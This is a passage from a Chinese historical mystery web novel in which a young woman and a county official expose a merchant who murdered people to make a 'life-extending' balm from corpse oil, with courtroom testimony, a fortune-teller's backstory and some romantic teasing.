池楚浠也想跟着进去搜寻一通,但身旁的宋晚吟虚弱得快要晕倒,她扶着宋晚吟寻了个凳子坐下。
宋晚吟急着解释:“池姐姐,我不是故意要瞒着你过来的,是赵员外找到我,说愿意提供物证洗清我阿娘的冤屈,我信了他便偷偷从客舍跑出来。”
池楚浠愤愤道:“他说几句话你就信了?”
池楚浠语气不似之前温柔,颇有些生气的样子,宋晚吟不习惯面对这样的她,倏地眼眶就红了。
“我……我只是想我阿娘能好好的,我走了之后,我想阿娘好好活下去。”
“无论赵员外跟我说什么,哪怕只有一丝希望,我也信,我愿意跟他走一趟。”
池楚浠忽然感觉心底钝痛,不得不缓和了语气:“是我不好,我不该凶你,只是晚吟,你真的不知他对着你磕头跪拜?如此诡异,他到底有何居心。”
宋晚吟摇摇头:“我实在不知,我来时被他迷晕了,醒来便在那个房间,我只知他说要给我证据,我便在屋里等着,等得焦急。”
“那个小厮不知何时竟也被他绑了来,他醒得晚,他醒来时我已经发现他,再后来赵员外便拽着我们进了房间里的密室。”
一想起密室宋晚吟就觉得难受,仿佛又身临其境了。
“密室里很闷,我想出去,可他一直拽着我,他虽然上了年纪,可力气很大,小厮也被他连拖带拽弄了进去。”
池楚浠问:“赵瑞堂那把刀是从哪里来的?”
宋晚吟想了想,道:“那刀好像一直都放在密室里,他进去前没拿过刀。”
“不过那刀有些特别,我似乎从来没见过那样的刀。”
宋晚吟接着道:“我得知那个小厮叫顺儿,是府里的奴才,他问赵员外要书,他只说要书,是何书却没说,赵员外提刀就刺了他,接着你和景县丞就来了。”
宋晚吟说完有些难受地抚着胸口,被赵瑞堂折腾这么一趟,她的身子更加受不住了。
池楚浠帮忙抚了抚宋晚吟后背,好让她顺顺气。
衙兵们去了密室搜寻,只要里面有证据就一定能找到,毕竟甬道里没什么地方适合藏东西。
小花带着另一部分衙兵在其他地方搜寻,衙兵们这会儿有些懒散,尤其是他们得知刺史故意放走了赵瑞堂之后,他们终究是刺史的兵,不太可能听命于其他人。
小花看着这些故意不作为的衙兵冷笑,他大喝一声从怀里掏出一个卷轴。
“这是圣旨!”小花大声道,“圣人调司法参军张景铄回长安,这便是张参军的圣旨!”
所有人齐刷刷地看来,有些不信。
小花郑重地打开圣旨,展示给所有人看,上面盖了皇帝信玺。
这下不得不当真,私造圣旨可是诛九族的大罪。
衙兵们跪了一片。
小花得意地抬了抬下巴,还好我们家县丞早留了一手。
“你们都听清楚了,张参军说了,他调任回长安是奉圣人之命,景县丞护送有功,待回朝后他会亲自禀明圣人,届时景县丞便是有功之臣,此番协助他破案诸位也能光耀门楣!”
所有人朗声道:“是,我等听景县丞吩咐!”
小花骄傲地把圣旨收起来:“都把府里翻干净了,任何可疑之处都不要放过。”
池楚浠找了个地方让宋晚吟好生坐着,给她倒了杯水放旁边。
“你先歇着,我还有其他事。”
既然衙兵们都把赵府翻个底朝天了,那她混在其中找点东西也没什么不妥。
池楚浠挨着翻找。
虽然她已获得过梦境的昭示,但她并不知道话本完整的脉络。
这对她来说也足够了,至少她知道这个世界的本质,知道她本是一粒尘埃,只是旁人路上的垫脚石。
在主角的话本里,她是一只可以被随时碾死的蚂蚁,但在她自己的话本里,她也有着赤诚热烈的心、坚定不移的追求。
她将继承阿耶的遗志,要一个朗朗乾坤。
“小娘子可是在找这个?”
池楚浠听见声音,回头看去,见赵佑天手里拿着一把崭新的三棱刺。
池楚浠怔了怔,缓缓道:“是,这是你们家的东西?”
赵佑天转着手里的三棱刺看了看:“算是吧,我家有一座矿,里面有人专门打造此物,我这里还有图纸。”
赵佑天从袖中拿出图纸递给池楚浠:“你更想找这个吧,看看,满意不满意?”
池楚浠展开图纸,上面的图样比她画的更细致,详细到制作的每一步工序。
池楚浠盯着图纸,指尖有些发颤。
赵佑天道:“这东西是有人命我们私下打造,从不拿上交易市场,但是近日出了些问题,那座矿我拿不回来了。”
池楚浠抬眼看来,严肃道:“如此机密,你为何要告诉我?”
赵佑天冷笑:“对别人来说是机密,对我来说不是,既然连矿我都分不到了,那别人也休想得到,小娘子,我知你与那位景县丞不是只想查这一桩案子,景序昭,我调查过他的身份,长安司空府出来的人,我很乐意拿这个东西向你们投诚。”
“两年前苍山县内发生了一起大案,御史中丞崔尚礼在邸舍被刺杀,当时一共死了十人,你可知他们是怎么死的?”
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池楚浠看向赵佑天手里的三棱刺,当年池主簿验尸时便察觉到了凶器的不同寻常。
赵佑天见池楚浠的眼神便知道,小娘子是猜到了。
他道:“当时的刺客便是拿着这种三棱刺杀了御史中丞以及他的九名随从。”
赵佑天的食指从三棱刺的血槽里滑过:“这样捅进去,一拧,血就止不住往外流,很快就死了。”
“当时给一批劫匪定了罪,说他们杀人劫货,可那批劫匪里根本没人用此等凶器。”
池楚浠道:“放在停尸房的尸体都被一把火烧了,从何判断凶器,他们要定谁的罪自然就定谁的罪。”
“赵郎君,你将武器图纸交予我不怕她报复吗?”
赵佑天眼中迸发出寒意,他指着身后的房间道:“我弟弟受伤生死未卜,大夫还在救治,我要的从来都不止赵瑞堂的钱财,我要他的一切,包括他的命。”
赵佑天眼中寒意越盛:“这一切都是赵瑞堂做的,与我有何干系,他们在那座矿里做三棱刺,我并不知晓,如今矿已不是我的了,我愿意割舍,不过……”
赵佑天拿出一张舆图递过来:“这个送与景县丞与小娘子,还请小娘子劝景县丞多多维护我,保我一命,日后有用到我之处,我自当尽力。”
池楚浠打开手中的舆图,图上的中心是一座矿山,属于赵家的私矿,这类私人矿产由官府来收开采税,但禁止铸造器物。
赵家任由他人铸造三棱刺已是犯了大忌。
池楚浠将舆图收好,转头看了看卧房那边,景序昭已带着赵瑞堂从密室出来。
她道:“你为何不直接交给他,让我如何劝他保你一命?”
赵佑天看了远处景序昭的身影一眼,对池楚浠道:“小娘子你的一句话胜过旁人十句,只要你出面保我,必定能成,我的命就拜托池小娘子了。”
赵佑天又道:“我并未谋财害命,何苦要陪着赵瑞堂一起被诛九族,我已将功补过,交了舆图,告知了当年御史中丞一案的疑点,相信池娘子能看到我的诚意。”
池楚浠一转头,瞧见景序昭正朝这边看来。
她道:“不必我过多求他,你只要不认赵瑞堂这个义父便是,你们之间并无血缘。”
赵佑天道:“可我想要钱,不想让赵瑞堂的钱充了公家,若非如此我也不来麻烦池娘子了。”
池楚浠思忖片刻,点了点头。
赵佑天此人对景序昭亦有用处,帮他留下钱保住命对景序昭来说应不是一件难事。
用私矿铸造器物,此事若是让景家知道了,必定会抓住一个大把柄,这对景司空来说就更有用处了,所以池楚浠才答应下来。
隔着这么远的距离,赵佑天都能感觉到景序昭不善的眼神,他识趣地在池楚浠面前后退一步道:“我去看我弟弟。”
衙兵们把赵家翻了个遍,将所有可疑的东西都打包准备带回州衙作为呈堂证据。
赵瑞堂莫名其妙地笑了一通,冷声道:“我那好义子真是什么都敢做,故意放你们来搜家,他是不是将那座私矿也给你们了?”
赵瑞堂仰天笑了起来:“他倒真是不怕死,为了对付我把自己都舍得赔进去,我倒要看看他有几条命来折腾。”
35. 拿寿元还
州衙堂下,所有人都到齐了。
刺史看着又被逮回来的赵瑞堂只是尴尬地清了清嗓子,装作不知道发生了什么的模样。
刺史:“景县丞,可查到什么?”
景序昭还没说话,外边就有人闯了进来,那人手里用绳子绑了个光头,他直接将光头推到堂下。
来者是位上了年纪胡子花白的老丈,他微微扬头捋了捋胡子道:“假和尚包庇凶犯,贪污受贿,刺史预备怎么审啊?”
景序昭惊得唤道:“师父……”
师父?池楚浠呆呆地看了过去。
小花跑过来对景序昭道:“这位老丈声称是县丞您的师父,我们就都没拦着他。”
刺史冷着脸起身,怒道:“你是何人,竟敢擅闯公堂!”
老丈仿佛没听见刺史说话,径直走向了景序昭道:“人我给你送来了,先办案,我在外边等你。”
景序昭见了礼:“是,师父。”
老丈风风火火地来了,又大摇大摆地走了。
刺史怒指着他:“来人,给本官拦下,简直目无法纪!”
所有衙兵偷偷看向景序昭,他可是有圣人爱卿张参军做保的人,景县丞的师父他们可不想拦。
景序昭上前道:“刺史,他乃是司天台前任主事,岳逸钦。”
“什么?岳逸钦?”刺史看向一旁的郑司马,“哪个岳逸钦?”
郑司马道:“似乎我只听过一个岳逸钦,便是前朝时算出当今陛下会于启元十年登基的岳逸钦,岳主事。”
赵秉钧没有再叫人去拦岳逸钦,他只是半信半疑道:“如何证明,若证明不了本官便治你散布谣言、招摇撞骗之罪。”
景序昭亲自呈上一张玉符给刺史看:“这是司天台的玄空符,陛下登基那一年亲赐。”
“咳咳!”赵秉钧吓得差点被口水呛着,他摆摆手:“罢了,本官不追究他闯公堂一事,被绑来这人是怎么回事?”
衙兵押着他跪下,威慑道:“老实交代,岳主事绑你来必定有他的道理。”
端坐明堂的赵刺史:“?”
这到底是谁的衙兵?胳膊肘往外拐得也太明显了些。
假僧人来之前不知受了什么样的折磨,这会儿开口便急切道:“我招,我都招!”
“小人原本不是古刹的弟子,是赵员外给我钱,让我去古刹做弟子看守藏书阁,以便他入藏书阁偷盗书籍。”
刺史:“去押赵瑞堂来。”
赵瑞堂被押到堂下,见着假僧的那一刻硬生生僵在了原地,随后他便疯了似地大吼:“你怎么回来了!”
假僧被赵瑞堂这一吼吓得哆嗦起来,赶紧对刺史接着道:“助他偷书后,我就拿着他给的钱跑了,可不曾想被方才那个老丈抓住。”
刺史:“他从古刹盗走的是什么书?”
假僧:“一本取命续命的邪书,这书原是早早要被销毁的,是我找借口拖住,这才一直留到现在。”
假僧越往下说赵瑞堂的脸色就越难看,他怒道:“闭嘴!哪里来的混僧!”
景序昭道:“赵员外,若是觉得心虚便跪下听,省得你一会儿站不稳摔着了。”
赵瑞堂突然压住了胸口,脸上的肌肉瞬间僵硬,五官扭曲地抽动着。
押着他的衙兵都吓了一跳。
刺史惊恐地盯着他,手指哆哆嗦嗦地指着他道:“癫、癫疾!”
郑司马吩咐属下:“去叫个大夫来,别让他就这样死在堂下,晦气。”
池楚浠闻到比之前更加浓郁的香脂味,是从赵瑞堂身上散发出来的。
池楚浠悄然对景序昭道:“我出去一趟。”
还没等到大夫来,赵瑞堂就自行缓了过来,不过他此刻的脸色和之前大相径庭,那张脸上的肉本就不多,这会儿脸颊的肉都垮了。
原本还有些慈眉善目的他,面相竟变得扭曲可怖。
刺史抚了抚因被吓到而过速跳动的心脏,缓缓坐回了位置上。
假僧继续道:“沙洲很久以前有一种续命之术,叫转债,续命之人对着取命之人磕头便是转债,那么他的寿数便会转到续命之人身上,以此来延续寿命。”
“荒谬!”刺史道,“长命百岁若是这么容易,又怎会有成百上千种炼丹之法,想要续命谈何容易。”
刺史虽是这么说,但心中也甚是好奇,人人皆想长命百岁,若真有这种法子谁不想长长见识。
假僧道:“人的印堂也叫命宫,是人体至阳至灵之地,给他磕头相当于把你的罪孽晦气转给了他,他受了你的头,便要背你的债,而你年纪轻轻,一点功德没有,背不了债,那就只能拿命来还。”
假僧说着看向赵瑞堂,“他便是用此法找人续命,他向被取命之人磕头,让别人替他去死,因此他苟延残喘这么些年。”
刺史听了一阵恶寒,哆嗦了一下道:“赵瑞堂,他说的可都是真的?”
此刻的赵瑞堂看起来老了许多,像是突然就卸掉了那一口提着的气。
假僧道:“他早已是风烛残年之态,得知了此法便一心想要找人续命,所以才将我安排进古刹,为他窃取书籍。”
赵瑞堂看向假僧的眼神逐渐变得阴毒,像是要活刮了他。
刺史:“赵瑞堂,既是磕头找人续命,那几条人命你又做何解释,有无冤情你自己一一招来,你一把年纪了,别逼本官用刑。”
赵瑞堂被扣押着,苍白的脸上堆出一个难看的笑容,他道:“我只是磕头了,谁证明我取命了?”
赵瑞堂忽地大笑起来,末了,僵着脸道:“我没杀人,你们没有证据证明我杀了人,磕头而已,不是杀人,取命之说只不过是书上胡言,世上根本没有取命续命之道。”
刺史、郑司马都露出了疑惑的表情。
景序昭亦是如此。
刺史:“传王妇。”
王湘宁到了,也跪在堂下。
刺史:“你说你誊抄了赵瑞堂给的书页,为何上面的内容与他二人说的并不相符,你撒谎了?”
王湘宁茫然地看看众人,最终将视线落在景序昭身上,与刺史比起来,她更信任这位景县丞。
王湘宁道:“民妇没有撒谎,当日他给我看的那书,我原封不动抄下来的,那便是他说的续命之法。”
听了王湘宁所言,赵瑞堂笑出了声,他冷冷朝王湘宁看来,“我好心告诉你续命之法,也是不忍心见你为女儿日夜忧虑,可你却恩将仇报,你这等妇人天生恶毒。”
王湘宁更加无助,凄凉地望向景序昭:“景县丞,民妇没有撒谎,我看的就是那本书,那书上记载如何挑选合适之人,提炼尸油,用尸油来永葆青春,延年益寿。”
王湘宁誊抄的书稿景序昭是见过的,其上那样详细复杂的步骤不像是一个普通民妇能杜撰出来的。
刺史也有些头疼,怎么还冒出来两本续命之书。
刺史:“传伍二
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娘。”
伍二娘看了一眼王湘宁那绝望的眼神便猜到事情发展到哪步田地了,她当即跪地哭诉:“民妇先前所说句句属实,张满仓、赵田生、孙铁锄三人的尸体是石碾替赵员外处置的,人必定是赵员外害死,否则他为何要叫石碾秘密处理,还给他塞钱,让他办妥后便跑得远远的。”
景序昭示意州衙的人把张仵作与两名证人都带来,伍二娘的证词加上张仵作和两名证人的证词,很难再让赵瑞堂洗清嫌疑。
张仵作和两名证人皆表示曾收过石碾的钱,做了伪证。
刺史:“赵瑞堂,你还有什么可说的?”
赵瑞堂道:“石碾已死,你们将一个死人说过的话安在我头上做罪名,堂堂沙洲刺史就是这样断案的?胡乱轻信一个县丞之言。”
“他若真是在长安有声望,又怎会轻易被贬至苍山,赵刺史,你莫要糊涂了。”
赵瑞堂说的这番话针对景序昭,只要刺史不站在景序昭那边,他也不是没有机会为自己开脱。
刺史:“张二牛,当初可是石碾单独找的你,叫你验尸做假?赵员外可有露面?”
仵作摇摇头:“只见过石碾一人,并未见过赵员外,钱是石碾给我的。”
刺史揉了揉脑袋道:“本官头疼,歇会儿再审。”
小声啜泣的伍二娘悄悄瞥向王湘宁,见她那眼中似乎没了生机,整个人呆呆地瘫着。
伍二娘不哭了,抬手抚了抚王湘宁后背,好似安慰。
田野里,池楚浠叫人挖了个大坑,此时那坑里正烧旺了炭,将架在坑上的大铁锅烧地滚烫。
锅里的油滋滋冒烟,浓郁的油脂味儿四处飘散。
岳逸钦实在受不了这馋味,从附近农户家买了只鸡来,就在坑里烤熟了吃。
他撕下一只大鸡腿递给池楚浠道:“小丫头,别饿着肚子,边吃边弄。”
“多谢岳主事。”池楚浠接过鸡腿直接咬了一口。
“嗯……岳主事好手艺,这鸡烤得真好。”池楚浠一边吃一边夸。
岳逸钦嘿嘿一笑:“叫什么岳主事,我早已不是司天台的主事了,你就随景小子一起叫,唤我师父即可。”
池楚浠甜甜地唤了句:“岳师父。”
岳逸钦点点头:“诶,这还差不多。”
“丫头你这还要多久,别到时候衙门那边都审完了。”
池楚浠举着鸡腿笑笑:“赵员外是个死不认账的,没有铁证如山摆在他眼前他都不会认,再等等。”
岳逸钦望向远处的人影,笑道:“来了。”
那人骑马跑了过来,他来到池楚浠面前,下马将手中的包袱交给池楚浠。
“少主让我把这个交给池娘子。”
“多谢。”池楚浠道了谢,接过包袱。
包袱里装着两本书籍,其中一本被烧得只剩半截了。
岳逸钦翻看那半截邪书,他一会儿看看书,一会儿又看看池楚浠的大铁锅,终于啧啧叹道:“眼下取油续命之术已让你学了去,你看能否给老头子我多续个三五百年。”
池楚浠笑了:“想活三五百年,那您修仙吧。”
池楚浠用大勺子搅拌锅里的油脂,将准备好的香料依次倒入,香膏的味道渐渐地显现出来。
她道:“这东西不过就是一款美容养颜膏,可不能让您老人家多活几年,无论是用猪油还是人油,结果都是一样,赵员外是被鬼迷了心窍,竟相信这些东西。”
36. 尸油炼制
岳逸钦啃着鸡腿,翻着邪书看池楚浠熬香膏。
要不是锅里熬的猪油太香了,他也不至于非要这会儿吃人家一只鸡。
“池丫头,你和景小子何时认识的?”
“岳师父,我认识阿兄已经两年多了,只是这两年并未与他见面,近日因同一桩案子才走在一处。”
岳逸钦嘴里的肉还没吞,掐起沾了油的手指就开始演算,嘴里小声嘀咕了一些池楚浠听不懂的东西。
演算完毕,岳逸钦长长地舒了口气:“幸得他命中劫煞已过,否则他与女子走这么近是会横死的。”
池楚浠想起景序昭曾说过的算命一事,正是这位岳师父给他算的,说他二十三岁前红鸾星未动,命犯孤辰寡宿,若强行结亲恐会死于非命。
“当真如此吗?”池楚浠好奇道,“若他劫煞未过就成婚一定会死?”
岳逸钦捋了捋胡子:“你这个丫头竟敢质疑我,连当今陛下都不敢质疑我,你却敢。”
池楚浠笑笑:“不敢,只是从前若听闻这种事我只当乐子看,我自己没算过命,对这些并不了解,师父莫怪。”
岳逸钦却忽地笑了:“你说得没错,这种事当乐子看就好,没有谁的命运可以早早就被定下,若是有人笃定这么说,那一切都是有根由的。”
岳逸钦吃完肉,随意擦了擦手。
“当年景博珩还未回家颐养天年,拥护陛下登基后在朝中如日中天,那时我还在司天台,陛下对我极其信任,让我为景家算一卦。”
“当时便算出景家祸事连连,且罪魁祸首是景博珩夫人刚诞下的孩儿,那孩子克父克母克兄,与景家岁运天克地冲,若是常年养在膝下,景家迟早被他祸害。”
池楚浠顿时冒出个同情的念头,小声道:“那个孩子是景序昭吧,这也太惨了……”
“只是,这当真是他的命数吗?你没撒谎?”
岳逸钦笑着看了池楚浠一眼,觉得她胆大包天。
“我不是撒谎,这不算撒谎,我只是顺应天意,陛下就是天,你个小丫头能明白吗,我不过是说出天子心中所想。”
岳逸钦道:“我告知陛下景家的命数,陛下连夜召见了景博珩,不知二人商量了什么,第二日一早景家便将那孩子送了出去,说是不养在膝下了。”
我见孩子还小,于心不忍,便又算了一卦。
“我告诉陛下和景博珩,孩子及冠之后便可接回来,届时我会帮忙化解孩子的劫运,另嘱咐了他们,将孩子接回家后不可婚配,否则劫煞还会应验。”
池楚浠在心里倒吸一口凉气,就因为岳师父几句话,景序昭的命运便被安排好了,二十年都没能在父母跟前长大,实属太悲惨了些。
他不过是权力漩涡中的牺牲品。
但仔细一想,这对于当时的景家来说,宁可信其有不可信其无。圣上那时还需要景家的助力,不可失去景家,一面需要留下景家,一面又不可任其壮大。
如此一来,景家有了危机感,不敢将儿子养在膝下,景博珩也会日渐收敛锋芒,唯独陛下一举两得。
岳逸钦算的不是景家的命运,算的是陛下的心意。
池楚浠默默感慨一句:“阿兄挺不容易,不过现在好了,能回家,又消了命中劫煞,以后想必都是好日子吧。”
岳逸钦道:“哪有什么好日子不好日子,不过就是常态的一生,他本就生在高门大户,安安分分过完这辈子就已经很不错了。”
岳逸钦打量着池楚浠,忽地道:“诶,把你生辰八字说来我听听。”
池楚浠朝他看来,疑惑道:“算命么?”
岳逸钦扬了扬嘴角道:“合一合你与景小子的八字,看看姻缘是否顺遂。”
池楚浠吓得大铲勺都差点掉锅里,她慌忙摆手道:“岳师父,这个算不得,我与他之间不能算姻缘,不合适。”
“怎么不合适?”岳逸钦道,“你俩不算姻缘算什么,他从小到大都没怎么接触过年轻的小娘子,劫煞一过正好遇见你,你算是唯一一个与他走得近的,说明你们是命里带缘分,自然应该算做姻缘一类。”
池楚浠僵硬地牵了牵嘴角:“岳师父,我跟他真算不得姻缘,我是与旁人订过亲的,加之我二人的身份有着云泥之别,不可强攀姻缘的。”
岳逸钦长长地哦了一声,叹道:“你已嫁人?那可惜了。”
池楚浠有些不好意思地道:“并未嫁人,我订过亲,但我悔婚了,岳师父莫开我俩的玩笑了。”
岳逸钦一听,合掌拍了一下:“没嫁人,那不就成了,订过亲有何干系?”
池楚浠:“……”
她不知岳逸钦是何想法,作为女子,她与别的男人订过亲,还曾住在那人家中,即便是悔婚了,她也是被正常未婚郎君嫌弃的。
池楚浠补充道:“我曾在那人家中住过一年,整个安义坊的街坊都知道,在外人眼中我是个弃妇,我本不想与阿兄走得近,怕累及了他的名声,可我……”
池楚浠顿了顿,吐露这些伤心事令她有些难过,但她还是继续道:“可我要查的旧案终究要从阿兄手里过一遭,他如今是苍山的县丞,况且我也的确有些私心,若没有他伸以援手,我很难成事。”
“抱歉,岳主事,是我拖累阿兄了,您要骂我就骂吧,我都愿意受着。”
岳逸钦却忽地笑了,他抬起袖子擦了擦嘴角的油渍,让自己看起来不那么邋遢,说的话更让人信服。
他道:“景序昭被送出长安后一直是我们玄空门的人在养着他,他是在我手底下长大的,池丫头,你方才说的那些,于我和他而言,压根儿不在我们师徒二人的考虑范围之内,你可知玄空派最看重什么?”
池楚浠:“生辰八字?”
岳逸钦翻了个白眼:“是机缘,陛下排除万难登基那一年是机缘,陛下为了皇位逼迫父兄,理应为天下人不耻,可这不妨碍他是个好皇帝。”
岳逸钦突然指着天道:“老天爷要让他做九五之尊,让他为百姓谋福祉,奠定大晟朝的基业,那么一切阻碍他登上帝位的绊脚石都该不复存在。”
“他自会劈出一条路来!”
岳逸钦望着天,眼神深邃。
池楚浠已经没有听他在讲什么了,默默地熬制香膏,这岳主事恐怕是人老了,爱摆一些豪言壮语,此时若是有酒给他做陪,他应该会更兴奋。
池楚浠摇了摇头,将香膏底料搅拌均匀。
岳逸钦终于回过神来,凑到池楚浠面前问:“你可听明白了?”
池楚浠故作深沉地点点头:“嗯,机缘嘛,你们玄空派乃是天下第一玄门,说什么都是对的。”
岳逸钦眉头一皱:“我看你就没听明白,你这丫头没慧根,入不得玄门。”
池楚浠嗯了一声,笑道:“民女资质愚钝,不配入玄门,能听岳师父提点几句已是一生之幸。”
对于盲目夸赞的话岳逸钦还是很受用的,他笑眯眯地眨了眨眼睛道:“简单说,你是何人,做过何事并不重要,重要的是你是否有这个机缘。”
他一说就停不下来,叨叨了许久。
池楚浠看似在听,实际上左耳朵进右耳朵出,什么也没在脑子里留下。
果然他是没这方面天赋的,这辈子入不了司天台。
岳逸钦:“说说吧。”
池楚浠:“说什么?”
岳逸钦:“生辰八字啊!”
池楚浠:“……”
为了让岳主事不再一味地给她灌输玄空派
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的入门知识,池楚浠果断将生辰八字写给了他。
给了生辰八字后,岳逸钦果真没来“烦”她了,自己默默地跑去一边“算命”。
池楚浠松了口气,将凉好的香膏装入瓶中。
她取了些香膏抹在手背上,很滋润,味道也不错。
一想到赵瑞堂拿这种香膏当续命药用池楚浠就觉得荒谬,赵瑞堂已走火入魔,没救了。
婢女给刺史按了好一会儿脑袋,终于舒服了许多,这两日被焚尸案搅得不得安宁,所有人的证词各说各的,让人断不清案,赵秉钧只觉得头大。
他起身道:“好了,郑司马,随我去审赵瑞堂。”
“是。”郑司马一脸郑重地跟了出去。
陆逍从外边偷偷溜进来,附在景序昭耳边道:“池娘子与岳师父在一处待了许久,看起来两人聊得很投机,也不知说了些什么。”
景序昭示意陆逍继续去盯着,陆逍点头,他还没出门,就见池楚浠提着个包袱来了。
刺史刚坐下,看着一堆人头又开始痛了,还没缓过来,一个包袱就被放在他眼前。
刺史:“这是何物啊?”
池楚浠打开包袱,将里面的两本书籍呈上。
“刺史请看,这两本书都是赵员外的。”池楚浠举起被烧掉一半的书道,“这本杀人炼油续命邪书差点被赵员外烧毁,这点赵府小奴顺儿可作证。”
“至于另一本,是他最初得到的续命之书,续命之法叫转债,即对着小辈磕头做法,便能让小辈替他去死。”
赵瑞堂看着那本没被烧完的书有些震惊,他明明已经烧了,当时目睹这一切的只有顺儿。
他忽地想明白了什么,竟自顾自地冷笑一声,全然不顾及旁人。
原本以为小奴顺儿只是办事不力,没处理好石碾的尸首,没想到他从一开始就没想处理好。
顺儿根本就是赵佑天的走狗。
景序昭对赵瑞堂道:“顺儿没死,赵员外是否感到意外,他不仅没死还向公堂提交了你的罪证。”
景序昭不知顺儿如今是死是活,只是根据池楚浠带来的东西猜测,如此说给赵瑞堂听。
只见赵瑞堂道:“作为奴才,他办事不力,我杀了他有何过错,如今看来他该死!他故意把石碾的尸体搬去天祭台,故意当着你们所有人的面分尸,好将此事闹大,我杀他,他一点都不冤。”
景序昭笑了笑:“他是故意的,故意暴露你杀人后想毁尸灭迹,石碾既是一个普通小奴,你又何必如此大费周章,只能是他手里攥着你的证据,你杀人焚尸的证据。”
景序昭的眼神进一步审视着他:“可你没料到石碾处理尸体的途中偷跑回来将此事告知了他娘子,自此,伍二娘也掌握了你的罪证,你该把伍二娘也杀了才好。”
说及此,赵瑞堂果真不善地看向伍二娘,似乎后悔没连她一起杀了。
池楚浠将两瓶香膏一瓶交予刺史,一瓶交予景序昭。
她道:“赵员外取尸油炼制续命膏,这香膏里添加了本地的一些香料,有甘松的味道,与寻常娘子用的香膏并无多大区别。”
“刺史大可检查赵员外身上的香味,另派人去搜寻赵员外炼制尸油的地点和工具,不过想来这些东西赵员外都已经藏好了。”
池楚浠看着赵瑞堂道:“一定是藏了,他舍不得销毁,毕竟尸体得来不易,风险太大了。”
刺史刚拿着香膏闻了一下,顿时把香膏扔了出去:“这、这是尸油炼的!”
“这等污秽之物,不可拿到本官面前!”
刺史抚着脑袋,感觉头更痛了。
池楚浠道:“我给刺史的不是尸油所炼,是猪油而已,我只是还原赵瑞堂身上的味道,以此佐证。”
37. 画骨画皮
刺史:“郑司马,带人再去搜一搜。”
郑靖邦领命去了。
池楚浠提交完物证便退了出来,正巧遇见来州衙的怀素师父。
怀素见池楚浠是熟人,便点头示意。
她直接去了醉仙楼,宋晚吟从赵府回来后便在这里休息,是陆逍定的房间,他说醉仙楼的房间比客舍好一百倍。
来找宋晚吟时正巧碰见花三娘,花三娘是见过池楚浠面容的,当下看见池楚浠便愣在了原地。
“你……你怎么又回来了,不是找了人替你?”花三娘道。
池楚浠上前去搀宋晚吟:“三娘以后就当不认识我,我已得知我妹妹的消息,过几日便离开这里,有人替我岂不正好,没让醉仙楼亏本赚吆喝。”
花三娘道:“这倒是,那位娘子是有人替你塞进来的,与你有七八分相似,舞跳得比你还好,客人们竟也没认出来,不过我今日是来叫宋娘子弹古筝的,不知宋娘子能否赏脸?”
宋晚吟这会儿戴着面纱,瞧不太清她的脸色,只听见她虚弱地咳了几声。
池楚浠道:“花三娘,宋娘子以后不在这里弹琴了,她身子不好,你也瞧见了,我得领她回去休养。”
池楚浠扶着宋晚吟,小声道:“你随我去一趟州衙,你阿娘的事该尘埃落定了。”
宋晚吟抬起头眼泪汪汪地看着她,喉咙里低低地嗯了一声。
就在池楚浠即将踏出门槛时,花三娘道:“林娘子,你不叫林希吧,名字是假的,寻妹妹的由头也是假的。”
池楚浠顿住脚步。
花三娘接着道:“沙洲每日来来往往多少人,什么样的我没见过,你让我当做从来没认识过你,两年前那人也说过同样的话。”
“起初我还信了你的话,后来仔细想想,你们两人用的借口都过于直接又拙劣,那便只有一个缘由,有人为你们撑腰,那位小娘子是,你也是,你们都只是想达成自己的目的。”
池楚浠忽地笑了笑,看向花三娘道:“三娘聪慧过人,什么都瞒不了三娘,不过我有一点要提醒您。”
花三娘颇有些傲慢地抬眼:“你说。”
池楚浠靠近她,在她耳旁悄声道:“三娘您最好什么都别往外说,我寻妹妹固然是假,但那位涉嫌谋反,您要是说认识她,将来恐怕会掉脑袋。”
池楚浠极其认真地在脖子上比划了一个掉脑袋的动作,看得花三娘脖子一缩,浑身发凉。
池楚浠弯起眼睛,似笑非笑地道:“你以为新塞来的那位舞姬是如何让你们店主当即点头同意的,不过是领舞姬来的那位郎君是从长安来的。”
池楚浠又附在花三娘耳边道:“都是太子殿下身边的人,三娘,你掺和不得,你看看刺史,从前可有这几日这般兢兢业业,大砥是亡羊补牢,保不住乌纱帽了。”
花三娘一脸惊讶地捂了嘴。
池楚浠知道她还持怀疑态度,毕竟她被人骗得多了,随时会升起戒心。
池楚浠道:“且等等看,若刺史真的保住乌纱帽,三娘大可不必把我的话放在心上,若保不住,那就请花三娘把我从始至终对你说过的话都烂在肚子里,当从未见过我,为我保守秘密。”
临走前,池楚浠还是冲她露出个笑来:“我若骗三娘,就不得好死,三娘若是不助我,不信我,那便会人头落地,抄家灭族。”
池楚浠扶着宋晚吟走后,花三娘后知后觉地感到浑身发寒,池楚浠的话让她觉得没那么简单。
一个小娘子竟会让她有琢磨不透的感觉,这一点,林希倒是和那位姓白的小娘子极其相似。
什么叫不信她便会人头落地,抄家灭族,花三娘仔细回味了一遍池楚浠说的话,不就是想让她保守秘密,不说出去编故事找妹妹的事吗,就非得这么恐吓人。
花三娘揉了揉额头,这叫什么事,姓白的要她保守秘密,姓林的也要她保守秘密,都不想让别人知道她们曾在醉仙楼卖艺。
花三娘嘟囔着:“卖艺又不丢人,真是的。”
州衙
赵佑天的声音在堂下响起。
“父亲将生意交给我后,我便鲜少回家,实在是有些抽不开身,都怪我,忽略了父亲的身体,我理应早早请个大夫为父亲调理,让他不必如此杞人忧天。”
“父亲一定会长命百岁,颐享天年的。”赵佑天说得诚恳,眼里有着对赵瑞堂的担忧。
若非池楚浠知道赵佑天对赵瑞堂恨之入骨,恐怕此刻她也要信了这父子情深呢。
赵瑞堂却自嘲般地笑了:“好一个孝顺的儿啊,你是何时买通的奴才顺儿,一心叫他置我于死地。”
赵佑天眼神有些悲戚,他道:“父亲您在说什么,我做甚要买通自己的家奴,顺儿都与我说过了,他当真不知那尸体就是石碾,更不知你私藏那等邪书,后来见你要将那书烧掉,是他把书从火坑里刨出来,为的只是还死去之人一个公道。”
“顺儿他只是个奴才,若您不是非要杀了他,他也不会铁了心要交出证据告发您。”
“父亲,您何时才能悔悟啊!”
赵佑天说得红了眼眶。
赵瑞堂缓缓垂下头,沉默了片刻后开口:“我年轻时作恶多端,没留下一儿半女,后来收了你做义子,把家业都交予一个外人我是有些心有不甘。”
赵瑞堂的声音弱了许多。
赵佑天认真地听着。
“我身体日渐不堪,舍不下赵家家业,想多活个几年,这有什么错,谁不想多活几年、几十年!”
赵瑞堂盯着义子,脸颊上的肌肉有些发颤。
刺史摸着耳朵听了听,道:“你承认杀人取油,人都是你杀的?”
